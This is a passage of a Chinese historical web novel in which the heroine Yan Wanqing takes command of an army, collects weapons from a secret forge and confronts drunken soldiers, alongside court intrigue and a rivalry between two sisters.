昨夜挡在他面前的那抹柔情,也在刚刚李呈媛发疯的时候被消耗殆尽了。 可怜的李呈媛心里还在盘算着要如何收拾墨山,根本没有想到自己的所作所为都被萧鸿深所嫌弃着。 墨山这次没有亲自过来,而是让府内的丫鬟送了干爽的衣服过来,还特意准备了一些膳食。 李呈媛没见到墨山,这气就一直憋着,床榻上的萧鸿深也丝毫不减清醒的意思,终于到了下午,李呈媛熬不下去了,回自己的院子里去了。 人一走,萧鸿深便直接从榻上坐了起来。 他掀开被褥,发现伤口已经结痂。 当下就知道昨夜也许是宋化虚过来了。 全天下也只有他有这等功力,化腐朽为神奇。 萧鸿深稍微安心了。 昨天那只射死吴城南的箭羽,一定也是宋化虚的手笔。 如果不是那一箭,他没那么幸运能够脱身的。 “来人。”萧鸿深面色阴沉的开口。 墨山从门口进来,跪在了地上:“殿下。” 萧鸿深见她唇角还有些红肿,便想到了刚刚李呈媛对她的一幕,他不满的说道:“你是本殿的属下,往后知道该怎么做了吗?” 墨山低头:“属下知道。”看来刚刚的那顿打没有白挨。 “柴右找到了吗?”萧鸿深想起来正事。 墨山摇头:“柴右从昨夜之后便直接销声匿迹了,之前他的住处也被收拾的十分干净,他是有备而来的。” “哼!”萧鸿深想到了这几个月的相处,不由得心中怒火中烧:“好一个柴右!” 真的是好大的手笔,让一个如此才能的人埋伏在自己身边。 就为了昨晚! 萧鸿深气笑了。 “这件事要说和燕晚清没有一点干系,说什么本殿也不相信。”他大手一挥:“去查,查查看柴右之前是不是和燕晚清见过。” 墨山领命。 萧鸿深又想到一件事情:“派出去的人都回来了吗?” 墨山摇了摇头:“那北疆侯身边有高手保护着,连续去了六批人,没有一个人能活着回来复命的。” 萧鸿深听罢,伸出手揉了揉眉心。 诸事不顺。 他为何每件事情都不顺利? “既然是这样,也没有必要再让人过去送命了。”萧鸿深说道。 很快他便要前去西边了,也没有精力再放在一个北疆侯身上。 只要燕晚清与他同行,这一路上他便有千万种方法让她难堪。 “对了,本殿离京的这段时间,给文武百官都提个醒,本殿只是打仗去了,不代表本殿不回来了。” 第一百六十七章 临终遗言,他让我护你周全 李呈祥躲在屋内,一开始是胆战心惊,后来就直接累的睡着了。 等到醒了之后,外面已经大亮了。 她醒过来之后发现李呈媛一夜未归,父亲也是忧心忡忡的在院子里踱步。 李呈祥想问但是没敢问。 她不想再挨打了。 等到下午的是李呈媛才一脸疲惫的从外面回来了。 看见她回来之后,李大人赶紧上前询问。 李呈媛将昨晚发生的事情说了个大概,又说了七皇子要去带兵打仗的事情,李大人听得头皮发麻,只觉得眼前发黑。 见李大人这副模样,李呈媛赶紧安慰他,说这一切都是皇帝对七皇子殿下的历练,李大人这才面色好转了些许。 兴许是注意到旁边的李呈祥一直在偷听,李呈媛眼皮子一转,突然高声说道。 “父亲大人可知昨日那反贼是谁?” “谁?”李大人提不起兴趣。 李呈媛故意看了一眼李呈祥,说道:“这个人说起来,咱们李家人都认识。” 李呈祥心里突然不安,她的眼皮从今日早晨便开始一直跳。 只看见李呈媛的红唇上下一合,吐出一个人名来。 李呈祥只觉得刹那间天旋地转起来。 她眼前一黑摔倒在地上。 “姐姐这是怎么了?”李呈媛假装关心的走了过来,她蹲在李呈祥的身边:“姐姐也不用为这种人伤心难过,他可是反贼,倘若不是之前早就跟他把关系断的干干净净,这回说不定咱们李家也难逃一劫呢。” “说的是,还好是之前就断干净了。”李大人宛若梦中初醒,七皇子被派去打仗的消息,都没有反贼是他前女婿的消息让他来的后怕。 李大人拍了拍胸口说道:“这得亏是老祖宗保佑,不行,老夫得去给祖宗们烧柱香。” 说着李大人抬脚离开。 院子里便只剩下姐妹二人。 看着李呈祥眼眶中迅速积聚的泪水,李呈媛假惺惺的说道。 “姐姐这是在难过吗?为这种反贼难过,被被人看到的话,可是要误会你和他还有联系的。”李呈媛咋舌道:“姐姐可不要没有分寸,到时候牵连了李家,父亲又该埋怨姐姐了。” 李呈祥听罢迅速用手背擦了擦眼角的泪水,然后扶着旁边的柱子,从地上爬了起来。 她拍了拍身上的灰尘,转身回到了自己的房间。 看着失魂落魄的李呈祥,李呈媛心满意足的勾了勾唇。 “姐姐,能否帮妹妹煮完粥?妹妹累了一晚上了,现在还饿着呢。” 李呈祥回去的脚步顿了一顿,她转过身朝着厨房走去。 山庄里的每一处院子都是设有私厨的。 方便达官贵人烹煮。 李呈祥本来是十指不沾阳春水的嫡小姐,但是这段时间一直被李呈媛折磨,也稍微练出来一丁点厨艺。 她心里也十分清楚。 李呈媛不过就是想看着她更加难受罢了。 什么饿了想喝粥,都是说辞罢了。 厨房里。 李呈祥切着菜,熬煮着粥。 眼角酸涩不断涌出泪水,她用手背擦了又擦,却怎么都擦不干净。 她实在没有办法接受,昨天晚上还好端端的一个人,今天就变成了反贼,身首异处了。 想着吴城南让她好好的躲起来,不要出来的样子。 李呈祥心口酸涩,胸口像是堵了一块大石头,无论她是走着还是坐着,都让她难受的想要哭。 好不容易煮好了一碗粥,她放上盘子,又放了一些小菜上去,才端着朝着李呈媛的房间走去。 进了门,李呈媛刚刚沐浴完,整个人穿着薄衫坐在床榻前。 李呈祥将盘子放在了案几上。 李呈媛见状又说道:“姐姐对妹妹真好。” 李呈祥心中冷笑。 “姐姐既然这样好,那么妹妹便和姐姐再说点事情吧。”李呈媛放下手里的镜子,缓缓的站起身,她凑到了李呈祥的耳边说道:“你可知那吴城南是怎么死的?是被一直箭羽刺穿脑袋,钉在地上死掉的,脑浆和鲜血一起从他的脑子里流出来了,当时的画面实在是太吓人了,姐姐你若是在现场,一定会——” “呕——!”李呈祥猛地推开了李呈媛,夺门而出。 李呈媛心满意足的勾唇笑着继续说出来刚刚的话:“吐的。” 真有趣。 逗弄这些人,她觉得十分有意思。 桌子上是冒着热气的粥,李呈媛看都没有看一眼,直接上了榻。 李呈祥一路奔走,走到了山林之下的小溪边,才趴在溪水边吐出来一些苦水来。 四下无人的时候,她才终于忍不住放声大哭起来。 吴城南虽然有点小聪明,可是他根本没有那个胆子去谋反啊。 李呈媛一点都不相信。 她想找个人问个清楚。 脑海中一下子便闪过了燕晚清的脸。 于是李呈祥从地上爬起来,用溪水洗了一把脸,便抬脚朝着燕晚清的院子过去了。 路上她一直都在心里打鼓,等到了之后,看见燕晚清的瞬间,原本憋回去的泪水,此刻又在眼眶中打转了。 燕晚清见她来了,当下了然。 她让其他人都出去。 屋内只留下了她们二人。 “过来。”燕晚清轻轻的喊道。 李呈祥红着眼走了过去,一下子跪在了燕晚清的面前:“郡主……他,他……” “他临死之前希望,你能够在他死之后去看他一眼。”燕晚清缓缓开口,伸出手摸了摸李呈祥的脑袋:“陛下为了警戒众人,以儆效尤,把他的尸体被挂在山庄外面三里之外的树上,你若是想去,跟本郡主说一声,让人送你过去。” 李呈祥哽咽抽泣着,她双手捂住脸,浑身都在颤抖。 “还有一件事情,是他的临终遗言。”燕晚清将自己掌心放在了李呈祥面前:“他让我护你周全。” 李呈祥猛地抬头去看燕晚清,看清楚她眼里的沉痛之后,再也忍不住,一头钻进了她的怀中放声大哭起来。 “太,太过分了……他为什么不亲自保护我,为什么!”李呈祥的质问着,痛哭着,最终都化为了烟消云散。 人死了,现在说什么都没有用了。 第一百六十八章 私自回京,是重罪 吴城南的尸体在酷暑之下被悬挂在树上,散发着难闻的气味,四肢伤口的地方还隐约有蛆虫闪烁拱动着,十分可怖…… 李呈祥还是没有能够忍住,自己偷偷一个人跑出来看。 她站在密林之下,远远的看着。 曾经那么熟悉的枕边人,最终落到了这个下场。 说是不难过,是假的。 哪怕不能再做夫妻,哪怕自己对于他曾经做的事不愿意去原谅,可是她也万万不想看见他不得好死…… 李呈祥不能让吴城南就这么挂在上面。 得想想办法。 李呈祥看着那旁边的守卫坐在不远处打盹儿,她看了看地上的石块,捡了起来放在手里掂量了两下。 然后踮起脚尖就要走过去,蓦地一只手从她身后捂住了嘴。 李呈祥吓得不轻。 那人压着声音:“是我。” “我松开你,不要叫。” 李呈祥点点头,束缚被松开之后,她转过身看到了燕晚清。 “你不要做这些没有意义的事情。”燕晚清平铺直叙的说道。 李呈祥摇了摇头:“怎么会是没有意义的事情,我只是想要带他回家,让他入土为安。” “他是反贼,你知道这么做的后果么?”燕晚清并没有安慰她,而是直接说清楚事情的严重性:“李家会因为你这个举动,诛九族。” 李呈祥瞬间被吓得噤声。 她眼圈发红,眼里都是血丝。 随后她无力的滑落跌坐在地上,手里的石块掉在了地上,她用手背盖住自己的眼睛,声音沙哑难听。 “难道……就让他一直呆在上面吗?” 燕晚清抬起头看了一眼被挂在上面的尸体,心中也是悲凉。 “抱歉。” 李呈祥坐在地上,她为自己的无能为力感觉到了愤怒,不知道过了多久,她才收敛了情绪。 “郡主。”她抬头看向燕晚清,语气坚定:“小女想知道事情的来龙去脉,想知道他到底是因为什么原因,才犯下如此大错。” 燕晚清想到吴城南的临终嘱托,微微蹙眉:“这件事情你最好还是不要知道为好,知道的越多对你越没有好处。” “……毕竟他直到生命的尽头,都在想保护你。”燕晚清又补充了一句。 “就是因为这样,我才想搞清楚事情的真相——我,我想要找到害他性命的罪魁祸首!”李呈祥双眼都是泪水,她压着嗓子说话就像是一个盛怒之下即将疯狂的小兽,那模样让燕晚清愣了一下。 “所以郡主,求求你,告诉我真相,告诉我他到底因为什么而死……”李呈祥跪在地上,祈求道。 燕晚清上前拉住她的手:“你起来,回去本郡主将一切都告诉你。” 一概的去遮蔽真相,反而适得其反。 李呈祥跟着燕晚清回去之后,两个在屋内呆了一下午,直到燕凌珍进来换药,才终于说完了这个话题。 从院子里走出去的时候,李呈祥的身上分明已经有什么东西变了。 距离出征还有几日的休整时间。 燕晚清连夜休书了几封交给了红雾,并且交代红雾等到她去了西边之后,再送出去。 红雾这一听便知道,这回主子不打算带上她了。 红雾有些着急:“主子,送信这件事情能不能交给别人——” “我需要你留下来保护一个人。”燕晚清坐在棋盘前面,刚刚沐浴过的她,穿着单薄的白衫,青丝三千,悉数垂在两鬓,整个人看起来十分的安逸和舒适。 红雾心里十分想和燕晚清去前线。 “这种人对我来说十分的重要,红雾你要明白,我只信得过你。”燕晚清安抚性地说道。 红雾这才点点头:“主子请说。” “贵妃孙涟漪,临产在即,很多人都不希望她肚子里的孩子生下来,所以我想让你打扮成宫女在她身边贴身保护。”燕晚清指了指她怀中的信件:“当我走后,你带着信件去找母亲,她会给你安排身份的。” “诺。”红雾领命。 燕晚清继续观看面前的棋盘,只见上面纵横交错,棋盘十分的复杂,她手持着一枚黑子,反复在指腹中摩挲,直到深夜也依然没有敢轻易落在棋盘之上。 时间很快到了要出发的那天。 他们需要先行回京,带上皇帝的诏书去统领大军,然后再一路向西。 本来燕晚清提议皇帝一起回京,但是皇帝说眼下京都酷热,他还想继续呆在这里。 不光是燕晚清觉得不妥,朝廷中的大臣也觉得危险。 不过皇帝十分信任自己的铁甲军,对于新上任的铁甲军将领更是喜爱有加。 萧鸿深今日没有骑马,而是和燕晚清一样坐在了马车里,一前一后两辆马车,身边跟着护卫队,众人出发在即。 李呈祥站在院子里,看着乔装打扮成丫鬟模样的李呈媛,面无表情的问道:“你要去哪?” 李呈媛被吓了一跳。 “要死了,你走路没有声音吗?!”简直要吓死她了。 李呈祥又问了一遍:“你要去哪儿?” 李呈媛见她那副死人脸,气不打一处来:“跟你有关系吗,少多管闲事,滚远点。” 她说着绕开便想走。 李呈祥伸出手拦住:“私自回京,是重罪。” 李呈媛冷笑:“你哪只眼睛看见我私自回京了?再说了父亲都不管,有你什么事。”她猛地用力,将李呈祥推倒在地上,然后恶狠狠的警告道:“这件事情只有你知道,倘若消息走漏了,都算在你的头上。” 她抬脚往前走,又觉得心里不踏实,回过神来一脚揣在李呈祥身上。 “管住你的嘴,你应该知道我的手段。” 说完她头也不回的朝着外面走去。 李呈祥坐在院子里,手腕上是刚刚被推到摩擦石子受的伤,上面鲜血淋漓。 但是她就好像没有知觉一样,慢条斯理的从地上爬了起来。 她将手腕在自己的裙衫上擦了擦。 看着那抹越来越小的影子,李呈祥冷眼勾唇。 放心吧。 她不光不会说出去,还会替她慢着。 战场上风云变化,杀人不眨眼。 李呈媛再有本事,在前线也就是个被人拿捏的废物。 “真希望你能活着回来啊,三妹。” 毕竟,吴城南的死,跟你和你的七皇子也脱不了干系呢。 第一百六十九章 不知道,脾气是真的大 回京的队伍后面多了个小尾巴。 早早的便有人汇报给了燕晚清。 “随便她吧。”燕晚清当做不知道,还嘱咐手下的人不要管她。 直到天色变暗,众人原地修整的时候,燕晚清从车帘内看到了李呈媛上了七皇子的马车,才加深了笑意。 有些人,她甚至不需要推波助澜,自己就注定了灭亡。 再说萧鸿深本来是在运功打坐。 突然车内窜进来一个黑影,他直接出手掐住了来人的脖颈。 将原本想要给萧鸿深惊喜的李呈媛差点没有掐死。 “是,是我啊,殿下!”李呈媛双手用力去扣他的手指。 萧鸿深听见了声音,才收回了手,与此同时语气不善的说道:“你不是应该还在山庄么,怎么会出现在这里。” “人家,人家想和殿下一直待在一起。”李呈媛脸上闪过娇羞。 她为了乔装打扮成丫鬟,在脸上摸了厚厚的粉,此刻露出这种羞怯的表情,十足的有些吓人。 萧鸿深强忍着恶心:“胡闹,本殿现在让人送你回去。” “不,瑶池不走!”李呈媛一听萧鸿深要将她送回去,立刻不愿意了:“瑶池可以帮助殿下。” “你?”萧鸿深上下打量了一下李呈媛,眼角都是轻蔑的笑意,他故意倾身上前,单手扣住李呈媛的下巴:“帮本殿什么?路途遥远,军中乏味,你想帮本殿排解排解?” 李呈媛被这喑哑的语气勾的脸颊酡红,她一脸娇羞,声音也跟个小猫似的:“才,才不是。” “那是什么?”萧鸿深轻笑:“女子随军,也只有这个作用了。” 被小巧的李呈媛心里不高兴了。 她一把推开萧鸿深,冷下脸来。 “跟殿下相处了这么久,瑶池在殿下心里只是寻常女子吗?” 萧鸿深见她这般,心里十分的不耐,但还是耐着性子哄道。 “本殿知道你才情过人,但是带兵打仗并非儿戏,你一个女子跟着本殿,若是被人发现了,成何体统?!” “那她燕晚清凭什么可以去?!”李呈媛不服的咬着下唇质问道。 她不觉得自己比燕晚清差。 孙子兵法,史书典籍她也是看过的,经过考试的。 她可是受过高等教育的人,当个军师出谋划策还是绰绰有余的。 萧鸿深见李呈媛又裹到了燕晚清身上,眼中闪过了厌恶。 “那是陛下亲封的将帅,跟本殿可没有关系,你要是觉得自己也可以,大可现在回去跟父皇请命一同前去。” 李呈媛撅着嘴,表情十分的委屈:“殿下这是在凶人家吗?” 萧鸿深被逼无奈将人揽在了怀中:“本殿哪里凶你了,这是事实,本殿不让你去也是担心你,等回到京城之后,你就先行回府,不要凑这个热闹好不好?” 李呈媛知道眼下是说服不了萧鸿深了。 但是她心里的这股子不服被彻底激发出来了。 等回京之后,她就直接女扮男装进军营去。 她从底层做起,到时候上阵杀敌,立了军功,到时候看看萧鸿深还敢不敢小瞧她! 李呈媛心里有了打算。 她看过不少,女主都是从军营开始发家的,靠着女儿身立军功,让男主刮目相看,到时候非她不可的。 打定注意后,李呈媛也不闹了。 萧鸿深以为自己说的话她听进去了,便抱着她躺在了马车内,没多久车厢就开始摇晃起来了…… 回京的半月旅程,萧鸿深和李呈媛日子过得十分滋润,基本上没有从马车上下来过。 夜夜都能从萧鸿深的马车外听到女子呜咽的声音。 对此燕晚清嫌恶的直接行至队伍的最前端。 好不容易等回到了京都,她连家都没有回,便直接修整军队打算出征,对此萧鸿深竟然没有异议。 诏书和帅印都在燕晚清的手里,众将士看着台上都挨不住自己一拳的她,心里充满了狐疑。 这大渭是要亡了吗? 竟然派一个女子当大帅带军打仗。 质疑声像是海浪一样,一声高过一声。 燕晚清面无表情的俯视着下面的将士。 这么多年过去了,将帅们换了一批又一批。 知道她燕晚清的人是少之又少,眼下被质疑也是意料之中。 “都安静!”萧鸿深大声说道,然后笑着看向燕晚清:“安平郡主可不要害怕,这军营之内就是这样,大家都是佩服比自己强的,你一个女子被委以重任,眼下这种情况也是情理之中,不过没关系,郡主遇到不能处理的事情,可以尽情找本殿处理,出兵打仗,本殿与郡主不计前嫌便是。” 这话将燕晚清说成遇到问题只会哭哭啼啼的女娇娥了。 不过也难怪将士们会质疑。 生的这般美艳,又如此瘦弱,一袭长裙站在高台之上,台下则是清一色晒得黢黑的男子,十足的鲜明对比。 燕晚清扫了萧鸿深一眼。 “殿下可以质疑本郡主,但是不能质疑陛下。” 萧鸿深冷笑一声:“嘴硬是吧,没关系,本殿不说话便是,看你如何处理!” 他直接带着自己的人拂袖离开。 只留下燕晚清一个人面对众多凶神恶煞还对她心存不服的将士。 萧鸿深走的老远,回过头看见燕晚清还站在高台上:“且看看你这巧舌如簧的本事,要如何说服这些只佩服真刀真枪用实力说话的将士。” 话音刚落,他便看见燕晚清从高台上一跃而下,直接走到了人群中。 她是什么意思?! 萧鸿深微微蹙眉,他抬脚往回走。 越走越快。 此时燕晚清将长袖缠绕在自己的手腕上,面无表情的直接将一个对自己出言不逊的胖子给打晕了过去。 她一只脚直接踩在了这个胖士兵的肚子上,环顾四周沉声道:“战事从急,本帅只给你们半天的时间修整,太阳落山的时候,便是出发的时候,届时谁要是如此懒散,斩立决!” 她收回脚,再也不看身后将士们的反应,直接拂袖离开。 都是大渭的士兵,受过严格管理。 她不相信这群受过父兄训练过的士兵们,如此的不懂军令如山的重要性。 倘若是这样,她也不介意在行军之前,杀几个人杀鸡儆猴。 燕晚清出手极快,甚至没有人来得及看清楚她出手的招式,那胖子就已经摔倒在了地上。 “到底是她出的手,还是她身边的人?” “不知道啊,没看清楚,但是脾气是真的大。” 第一百七十章 去吧,去拿回你的荣耀 等萧鸿深过来,燕晚清已经从另外一边走了。 胖子也被士兵抬下去了。 他过来什么都没有看见。 “发生什么事情了?”他随便拽了个人问道。 那士兵站在外围,也没有看清楚,说的有鼻子有眼:“听说安平郡主被骂哭了。” “什么?”萧鸿深不太相信。 “七皇子殿下,这是真的,骂哭她的士兵已经被打板子打晕过去了。”士兵依稀在后面听见有人说:“……动手了动手了!晕了晕了!” 然后他按照自己的理解说给了萧鸿深听。 见士兵说的一板一眼,萧鸿深皱着眉头让他下去了。 从未听说过燕晚清哭鼻子。 最多是被气走了吧。 这样想着,萧鸿深心里舒坦了些许。 刚刚上任就被气走了,这以后可怎么办啊。 终归是女子,小打小闹还算是可以,若是办起正事来,那总是会差一点的。 “殿下我们现在要把将士们集合起来吗?”跟在萧鸿深身边的人说道。 萧鸿深看了他一眼:“为何?” “日落时分动身,不是一开始就约好的么?”那人有些不明所以。 萧鸿深冷笑一声:“帅印又不在本殿这里,本殿逞什么能。” 他环顾军营,抬脚直接离开。 他没那么多闲情逸致,去怜香惜玉,更何况还是针对燕晚清这个女人。 萧鸿深提到这个名字,就觉得脑子疼。 燕晚清没有回燕家。 而是直接去了军营附近的镇子上。 她找了个店休憩,打算下午的时候再去一趟附近飞铁马街,将自己先前打造的东西都取出来,到时候战场上用得到。 皇后娘娘赐给她的惊鸿,用的是趁手,可惜没有开刃。 本来开刃是一件简单的事情,可是涉及到上位者恩赐,就多了许多繁琐的礼节。 燕晚清一向比较讨厌繁琐,所以惊鸿就一直放在身边了。 身边熟悉的暗卫红雾和否极都不在身边,燕晚清也不担心,这次出行,和萧鸿深同行,中间不免会出现一些摩擦和碰撞,少不了还会撕破脸,所以她老早的便将风雨楼的人全部安插在了沿路。 易容之后,她推开后窗,从楼上一跃而下,很快就消失在了街口。 铁马街。 这一条整日整夜都乒乒乓乓的街道,每一家铺子门口都随处可见**着上半身,挥舞着铁锤在兵器上敲打的壮汉,各个五大三粗,看起来孔武有力。 她随便走进了一家店铺,墙上挂着各式各样的长剑匕首还有其他刀具。 “客官想买点什么?” 燕晚清从怀中掏出一枚特质的令牌,在掌柜的面前露了一下,然后说道:“想买点买不到的东西。” 看到那枚令牌之后,掌柜的立刻弯起了眉眼:“客官是行家啊,好货都得往里走。” 掌柜的带着燕晚清从旁边的小门进去,进去之后又拐到了院子里面,进了厨房,掀开灶台,赫然有一条暗道。 二人一路顺着暗道下去。 走过狭窄的台阶,不过几百米,面前赫然开朗! 扑面而来的热浪,让燕晚清瞬间流出了热汗,地下有比地上多了一倍还不止的火炉已经不断锻造兵器的壮汉。 “主子,这是您要的东西。”掌柜捧着一个托盘过来,上面是一个打包好的包裹。 托盘的边上还有一把朴实无华的长剑。 “辛苦了。”燕晚清将长剑拿在手里掂量了一下,又将长剑拔出了剑鞘,只见寒光骤闪,剑气瞬间从剑鞘中溢出,燕晚清瞬间将剑插回了剑鞘。 只不过是这瞬息的功夫,她的手背上已经多了一道血痕。 掌柜的不但没有觉得抱歉,反而十分得意。 “刚刚忘记和主子说,这剑锻造的材质有些特殊,需鲜血开刃,此番用在主子战场上面正是合适。” 燕晚清将手背上的伤痕用指腹抹掉,抬眼扫了一下掌柜的:“拿你开刃好像也不错。” “主子可别开玩笑。”掌柜的呵呵一笑。 燕晚清不是那么小气的人。 果然燕晚清看过包裹里的软甲之后,表情果真柔和了些许。 “这软甲和长剑都是同一个材质锻造的,可遇而不可求啊。” “什么材质?”燕晚清来了兴致问道。 掌柜的神秘的压低了声音:“几十年前天降星石,主子可还有印象?” 燕晚清想起来好像确实有这件事:“不过这星石不是后来被送到了宫内么?”眼下应该是在宋化虚的观里。 “村民上供的时候克扣了一些,小的们费了些功夫,都在这里了。”掌柜的说这个的时候,得意洋洋,就差把自己很能干刻在了脸上。 燕晚清自然知道掌柜的是什么意思。 “做的很好,自己带着兄弟们去金钱豹那边领赏钱。” “好嘞,就等着主子您这句话了。”掌柜的满脸笑容,挤成了一朵菊花。 时间紧,所以燕晚清拿到自己想要的东西之后,也没有停留多久,不过临走的时候,掌柜的将自己锻造的小玩意儿送给了燕晚清。 “也就几百片,不是很多,但胜在比较轻,可以随身带着当暗器。”掌柜的递给燕晚清一个小盒子。 她打开看了一下,都是薄如蝉翼的圆片,圆片周围锋利可见,显然是经过掌柜的加工处理过。 “你有心了。”几百片,可不是随随便便就能锻造出来的东西,更何况还如此精致。 燕晚清领了掌柜的心意。 “祝主子旗开得胜,马到成功!”掌柜的双手作揖对着燕晚清说道。 燕晚清背过身去,抬了抬手:“借你吉言。” 自从塞北之后,她便再也没有出过远门,更加不用说是带兵打仗了。 所以这一次燕晚清挂帅出征的消息一出去,所有的旧部都热血沸腾了。 他们已经多少年没有看见那个骑在马背上的小将了! 此去经年,燕晚清不再是那个被困守在闺阁的安平郡主,而是他们的统领,是那个征战沙场,杀伐决断的燕将军! 掌柜的看着燕晚清的背影,眼眶不禁滚上了热泪。 这个画面,他们足足等了有五年! 终于等到了这一天了。 “去吧,回到你应该呆的地方,去拿回属于你的荣耀!” 第一百七十一章 杀鸡儆猴的鸡,送上门了 回去的路上,燕晚清路过一家馄饨摊子,筒骨熬出来的高汤实在是太过于飘香,瞬间把她给馋饿了。 她也不扭捏,直接坐下。 “老板,来碗馄饨。” 这马上就要去前线了,沿路可吃不到这么好的东西。 老板是个老妇人,她见燕晚清穿着打扮不似附近军营里面出来打尖的士兵,便知道可能是京城来的富家子弟。 于是她热情的先盛了一碗肉汤放在了燕晚清面前。 “饿坏了吧,先喝点汤,馄饨要现包。”之前包好的馄饨刚巧就卖出去了,老妇人眼下正在剁肉馅。 燕晚清看着时间还早,她并不着急。 对于出征前的最后一碗馄饨,她有十足的耐心。 “好喝。”喝了一口汤之后,燕晚清忍不住夸赞道:“店家手艺真好。” 老妇人被夸得笑弯了眉眼:“主要是这熬汤用的骨头好,这可是山上的野猪,我儿子昨日上山亲自打猎回来的,平日里都是用的家猪,要不说呢,客官有口福了。” 燕晚清也来了兴致,和老妇人开始唠嗑,说起了野猪身上什么地方应该煮什么。 两个人说的兴起的时候,老妇人也剁好肉馅,开始擀馄饨皮。 馄饨皮擀好了,这包馄饨就快多了,没多时那竹筐里便摆上了一圈又一圈的馄饨。 “现在下锅,再过一会儿就可以吃了。”馄饨被老妇人丢进了锅内,她盖上了锅盖,笑呵呵的对着燕晚清说道:“客官能吃辣啊?” “能吃一点。” “今日的辣椒刚好用光了,我女儿刚刚已经去买了。”老妇人站在摊子前面眺望愿望,有些奇怪的含糊道:“按照时间来说,眼下也该买完回来了。” “兴许是有什么事情耽搁了。”老妇人揉搓了一下手。 此时燕晚清喝完了碗里的汤。 老妇人掌握好时机,便去掀开锅捞出馄饨。 十二个圆滚滚造型可爱的馄饨被捞出来放在了碗里,上面浇上热汤又撒上些许葱花被端到了燕晚清面前。 她的口水都要溢出来了。 “客官慢用。”老妇人说道。 燕晚清也不含糊,拿出筷子便开始吃了起来,一口下去汤汁裹着肉汁在唇齿间迸溅,眼下夏日炎炎,一个馄饨下去,整个人都冒出一身热汗,好不畅快! 若是再来点辣椒,只怕是更加舒爽。 可直到燕晚清吃完了馄饨喝完了汤,那外出买辣子的女儿也没有回来。 老妇人的担忧直接挂在了脸上,也开始没有心情和燕晚清扯东扯西的唠嗑了。 “客官可吃完了?”老妇人对着燕晚清问道。 燕晚清点点头,用帕子擦了擦唇角。 “客官可能帮老身一个忙?”老妇人面色讪讪:“如果客官不忙的话,能否帮老身看一会儿店?那卖辣子的就在不远处的几家店,很快的。” 燕晚清点点头:“举手之劳,去吧。” 老妇人点点头,顾不得脱下身上的外衫,她抬脚朝着外面走去。 这是军营边上的小镇,店铺不多。 将士们平日里都戒严,除非特殊的情况,否则不能私自外出。 所以思念将士们的亲人们便自发的在这个小镇上聚集,等着军营里一月一次的假日,到时候能够团聚。 街边上还有童子赤脚奔跑,一切的一切都充满了人间的烟火气息。 燕晚清坐在街边,有风吹过来,她眼角忍不住有些湿润起来。 记忆中,她和父兄也有关这种日子。 可是现如今,一切都回不去了。 正想着,突然传来嘈杂的声音。 眼看着街边推搡着,一个人被推倒在了地上,燕晚清一眼就认出来是刚刚给她下馄饨的老妇人。 她瞬间起身朝着那边走去。 “干什么呢!”燕晚清伸出手将老夫人搀扶起来。 只看见一个彪形大汉,大手死死的攥着一个妙龄女子的手臂,满嘴的酒气,说的不干不净的话语。 老妇人吓得面色苍白,她被扶起来之后还要往前走,被燕晚清一把拉住。 “女儿,我的女儿!”老妇人朝着妙龄女子伸出手。 那妙龄女子显然是被吓得不轻,面色苍白,恍如惊弓之鸟。 “小美人你就跟哥哥好一回,好不好啊?”那壮汉红着脸,醉醺醺的朝着妙龄女子笑道。 明显就是调戏良家妇女了。 燕晚清抬手,剑鞘直接打在了壮汉的手背上,疼的他缩回了手。 那妙龄女子得了空闲,赶紧跑回到自己母亲的身边,娘俩抱在一起哭出声来。 “今日哥哥外出打猎了,不然这厮怎会逮着机会。”女子哭诉道。 那壮汉看着女子落泪,又露出痴迷的神情:“你就跟我好一回,我可以给你钱啊。”他从腰上取出一个钱袋子,里面是沉甸甸的银子。 女子羞愤欲死,面颊红的几欲滴血。 实在是太过去粗俗无礼了。 燕晚清微微蹙眉。 “你这人,若是对人家有意便好好求娶,若是无意,尽管去烟花柳巷找寻慰藉便是,何故找良家妇女行这般孟浪之举。”她开口厉声呵斥道。 那壮汉听完看了她一眼,显然没有把她放在眼里,眼睛里只有那妙龄女子,甚至还要伸出手去抓。 这回燕晚清可没有惯着他,剑鞘直接撞击到壮汉的腹部,剧烈的疼痛让他瞬间吐出一大滩酒水,整个人捂着腹部跪在了地上。 燕晚清冷笑道:“可醒酒了?!” 壮汉酒醒了大半,恼羞成怒道:“谁叫你多管闲事的,想死不成!老子就是想要她,就想跟她好一晚上,过了今晚谁知道老子还能不能活着回来。” “这个人是附近军营的士兵。”旁边的街坊指指点点的说道。 燕晚清听罢蹙眉:“你是怎么出来的?日落便要出兵,眼下应该是戒严的时候。” “关你屁事。”壮汉从地上爬起来,他抬起手朝着燕晚清打去:“老子弄死你!” “弄死我?”燕晚清冷下眼来:“你最好有本事能够弄死我。” 那壮汉根本不可能是燕晚清的对手,不出一个回合便被打倒在地,燕晚清手里的长剑甚至都没有出鞘。 “公然违背军规,还强抢良家妇女,你的上级是谁。”燕晚清厉声问道。 壮汉强忍着疼痛,眼里都是狠毒。 “老子的上级,现在就来了,今日你小子摊上大事了!” 壮汉从地上爬起来,快速走到了一边。 燕晚清回过头,看见一行人身上的铁甲还没有脱掉,手里大包小包的,各个都喝的醉醺醺的。 舌尖忍不住就抵住了虎牙。 杀鸡儆猴的鸡,这么快就送上门了。 第一百七十二章 长了一张,该死的脸 “老大,就是这个人打得我,他还说我们没有把军规军令放在眼里!”壮汉向一个长得瘦削,却十分贼眉鼠眼的男子告状。 那男子身高还不到壮汉的肩膀上,此时壮汉弯腰的样子十足的可笑。 贼眉鼠眼咬着一个牙签,吊儿郎当的走到了燕晚清的面前:“你谁啊?这么大口气,不知道这条街是我照着的么。” 燕晚清躲过了这口铺天盖地的恶臭酒气。 她将身上的包袱放在了老妇人怀中:“辛苦帮我拿一会儿,现在带着你的女儿去旁边躲着。” 老妇人常年开店,自然是有眼力劲的,在女儿的搀扶下很快躲进了买辣子的店铺里。 眨眼间刚刚还有很多人的街道,此刻已经全部关门,空无一人了。 整条街道上,只剩下燕晚清还有和她对峙的那几个士兵。 “哟,你这是要动手啊。”贼眉鼠眼嬉笑道:“真是不知死活的东西,看你瘦胳膊瘦腿儿的,可别说哥们几个欺负你啊。” “君子有所为,有所不为,你们无视军规,便应该付出代价。”燕晚清冷眼说道。 贼眉鼠眼微微蹙眉:“不是,你这人什么来历啊。” 他仗着自己的舅舅在军营里有个一官半职,所以经常私自出来,久而久之便成了这条街道上的霸王。 今日听说皇帝让一个女的来当他们的将帅,贼眉鼠眼心里憋屈的很,这才带了几个哥们出来喝酒撒气。 谁知道又遇上个不长眼的。 燕晚清直接无视掉他的问题,她朝着他们勾了勾手指。 贼眉鼠眼来了脾气,一招手:“上,给他点颜色瞧瞧!” 结果,不消片刻,几个士兵悉数被打倒在地上。 